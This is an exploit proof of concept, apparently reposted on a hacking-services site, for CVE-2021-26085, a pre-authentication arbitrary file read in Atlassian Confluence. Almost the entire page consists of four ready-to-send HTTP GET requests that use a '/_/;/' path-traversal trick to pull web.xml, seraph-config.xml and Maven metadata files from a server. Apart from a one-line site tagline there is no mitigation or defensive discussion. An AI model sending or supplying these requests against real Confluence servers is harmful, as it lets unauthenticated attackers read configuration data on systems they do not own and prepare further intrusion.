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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: version < 7.4.10 and 7.5.0 ≤ version < 7.12.3
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26085

POC #1 - web.xml

GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #2 - seraph-config.xml

GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #3 - pom.properties

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #4 - pom.xml

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close